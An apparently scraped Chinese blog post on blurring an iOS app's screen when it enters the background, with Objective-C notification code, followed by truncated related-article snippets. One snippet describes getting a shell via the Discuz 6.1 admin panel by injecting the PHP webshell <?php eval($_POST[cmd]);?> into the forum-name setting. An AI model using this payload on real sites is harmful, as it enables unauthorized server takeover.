两种方法模仿支付宝进入到后台界面模糊

很久都没有写过东西,只能说实话真的懒了。

2014年过去了,最大得就是转到了IOS开发,其他的大事情都没有发生。2015年了,迎接还是一样的自己(哎,该改变了)。发了两句牢骚,下面进入正题。

支付宝手机客户端,在程序退出到后台的时候整个界面模糊,防止重要的信息在双击两次Home键的时候造成泄漏。这种效果对于安全性比较高得应用比较有用。最近在做一个国有企业的项目,安全性比较高要求我们实现这样得功能,因为这个所以实现了一下这个效果。最后实现了两种思路,一种是我实现的,一种的是我同事写的,这里都把代码放出来,希望能够帮助到别人。

第一种:

在ViewController中注册下面四个通知:

[[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(enterBackground:)
                                                 name:UIApplicationDidEnterBackgroundNotification object:nil];

    [[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(enterForeground:)
                                                 name:UIApplicationWillEnterForegroundNotification object:nil];

    [[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(resignActive:)
                                                 name:UIApplicationWillResignActiveNotification object:nil];

    [[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(becomeActive:)
                                                 name:UIApplicationDidBecomeActiveNotification object:nil];

然后在UIApplicationWillResignActiveNotification这个通知对应的方法里面,创建当前viewController的屏幕的截屏然后使用算法进行模糊处理,但是这时候这个View是隐藏的。只有UIApplicationDidEnterBackgroundNotification这个通知收到后,才会真正的显示。为什么这样处理,因为我在处理的过程中,我在UIApplicationDidEnterBackgroundNotification这个通知里面执行一些UI的操作不执行,所以就放到了UIApplicationWillResignActiveNotification这个里面去执行,但是还必须隐藏,因为在下拉通知栏的时候这个通知也会被触发,但是这时候不应该显示模糊界面,只有当真正到后台的时候才去执行。等到回到前台的时候,在去掉模糊界面。基本是这个思路,可能有些地方写错了,但是后来也没有修改,真正使用的时候,可以写一个UIViewController的类目去实现这些功能。

第二种:

这种方式是直接创建了UIWindow得截图,然后将其添加到UIWindow中。基本就是这个思路,具体的看代码吧。

好久没写东西了,发现写的太垃圾了。

下面是代码:

第一种方法:csdn上传完了老是不显示,明天再看下

第二种方法:http://download.csdn.net/detail/mengxiangyue/8355039

时间: 2024-10-29 11:40:25

两种方法模仿支付宝进入到后台界面模糊的相关文章

discuz6.1两种方法后台拿shell

discuz6.1两种方法后台拿shell好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下1:http://127.0.0.1/discuz/admincp.php?action=runwizard&frames=yesadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell<?php eval($_POST[cmd]);?>后台webshell地址

tomcat后台运行的两种方法

我们使用tomcat 启动一个新的项目,会出现一个窗口.如果有人需要使用这台电脑的时候,就很容易关掉tomcat 导致程序停止运行.为避免这种错误把tomcat设置为后台运行. 下面两种方法实现tomcat 后台运行: 一.修改tomcat里面的配置 1.找到tomcat下bin/setclasspath.bat文件,右键EditPlus打开. 2.在文件中找到 set_RUNJAVA="%JRE_HOME\bin\java", 并修改为set_RUNJAVA="%JRE_H

WPF多线程UI更新——两种方法

WPF多线程UI更新--两种方法 前言 在WPF中,在使用多线程在后台进行计算限制的异步操作的时候,如果在后台线程中对UI进行了修改,则会出现一个错误:(调用线程无法访问此对象,因为另一个线程拥有该对象.)这是很常见的一个错误,一不小心就会有这个现象.在WPF中,如果不是用多线程的话,例如单线程应用程序,就是说代码一路过去都在GUI线程运行,可以随意更新任何东西,包括UI对象.但是使用多线程来更新UI就可能会出现以上所说问题,怎么解决?本文章提供两个方法:Dispatcher(大部分人使用),T

WPF 数据绑定,界面刷新的两种方法-----INotifyPropertyChanged

.Netformwork4.0及以下版本 -------INotifyPropertyChanged 命名空间: System.ComponentModel 后台代码 public partial class DvrWnd : UserControl { public DvrWnd() { InitializeComponent(); } private void InitInfo() { for (int i = 0; i < 10; i++) { DvrInfo dvrInfo = new

在下拉列表中显示多个字段的两种方法

首先,我们需要从数据库中取到我们的数据 Class1: 1 string sqlcon = "Data Source=.;Initial Catalog=Test;User ID=sa;Password=******"; 2 3 public List<ModelClass> FindAll() 4 { 5 try 6 { 7 List<ModelClass> modList = new List<ModelClass>(); 8 using (Sq

[MongoDB学习笔记-02] Node.js连接MongoDB的两种方法

MongoDB Node.js驱动程序是被官方所支持的原生Node.js驱动程序,他是至今为止最好的实现, 并且得到了MongoDB官方的支持.MongoDB团队已经采用MongoDB Node.js驱动程序作为标准方法. npm install mongodb@1.4.3 // MongoDB Node.js驱动程序 npm install mongoose@3.8.8 //mongoose模块 要从Node.js连接MongoDB数据库我们有两种方法可选择: 通过实例化mongodb模块中提

登录用到了两种方法GET和POST方法 用reqeusts实现

这里需要补充的是,客户端不仅仅是一些简单的操作,它也是会处理一些运算,业务逻辑的处理等.也就是说,客户端也做着一些本该由服务器来做的一些事情 这个错误第一反应是是不是新的这个gateway节点有问题啊?但是想想这是不可能的,因为并不是所有请求都不可以,而且找了gateway部门的同事问了下,也不存在对请求单独处理的逻辑. 认证的同时要抓取页面表单的其他input标签的name和value.joomla的较为简单,网站一般不会明文传输用户名和密码,遇到这种情况需要分析引入的js文件,模拟加密算法.

PhpCms V9调用指定栏目子栏目文章的两种方法

第一种.直接写子栏目id ,用cat in {pc:get sql="SELECT * from v9_news where status=99 and catid in(21,22,23,24,25) order by id DESC" num="7" return="data"} {loop $data $r} <li><a href="{$r[url]}" title="{$r[title]}

abap中查找某字符串的两种方法

abap中查找某字符串的两种方法: 一.RPR_ABAP_SOURCE_SCAN 可以用于搜索SAP中的程序代码,一般使用时填写开发类.程序名及需要查找的字符串即可,选择屏幕布局和功能很简单,熟悉ABAP代码的人一看就明白了,不多解释了,使用方法及截图如下.选择范围太大的话很慢,可以考虑放到后台运行,结束了再看结果. 用这个程序查看某些特征的代码很有效,比如查找所有程序中这样的代码等. 1 SE38回车 2 程序名:RPR_ABAP_SOURCE_SCAN 3 F8 Execute 二.当然也可